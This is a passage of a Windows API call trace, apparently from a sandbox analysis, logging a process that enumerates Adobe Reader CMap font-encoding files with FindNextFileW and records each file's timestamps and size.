ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x26499, dwReserved0=0x0, dwReserved1=0x0, cFileName="KSCpc-EUC-UCS2C", cAlternateFileName="")) returned 1 [0083.889] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25f07, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90ms-RKSJ", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x24373, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-90pv-RKSJ", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x45903, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-B5pc", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49113, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-ETen-B5", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3b87b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBK-EUC", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3022b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-GBpc-EUC", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2ff61, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCms-UHC", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fb96500, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x25737, dwReserved0=0x0, dwReserved1=0x0, cFileName="UCS2-KSCpc-EUC", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x53d72, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-H", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f89c980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UCS2-V", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x425e9, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-H", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f90eda0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc33, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniCNS-UTF16-V", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x46805, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-H", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd09, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UCS2-V", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3453e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-H", cAlternateFileName="")) returned 1 [0083.890] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8007f260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca2, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniGB-UTF16-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2b580, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-H", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb9a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-H", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b1b, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-HW-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1ac5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UCS2-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x315bd, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-H", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS-UTF16-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x31610, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-H", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fad7e20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x17c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniJIS2004-UTF16-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2aad3, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-H", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xca8, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UCS2-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2031a, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-H", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fbe27c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="UniKS-UTF16-V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 1 [0083.891] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xd2d, dwReserved0=0x0, dwReserved1=0x0, cFileName="V", cAlternateFileName="")) returned 0 [0083.891] GetLastError () returned 0x12 [0083.891] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\CMap\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e8f40 [0083.891] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f556b40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x800a53c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x800a53c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1d27, dwReserved0=0x0, dwReserved1=0x0, cFileName="83pv-RKSJ-H", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-H", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1b5fe, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-UCS2", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1166, dwReserved0=0x0, dwReserved1=0x0, cFileName="90ms-RKSJ-V", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x18b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-H", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1154, dwReserved0=0x0, dwReserved1=0x0, cFileName="90msp-RKSJ-V", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x202f, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-H", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x73e, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fa65a00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x190bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="90pv-RKSJ-UCS2C", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3de5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-H", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7fab1cc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="Add-RKSJ-V", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xfc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-0", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x107a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-1", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f934f00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x108f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe-CNS1-2", cAlternateFileName="")) returned 1 [0083.892] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, 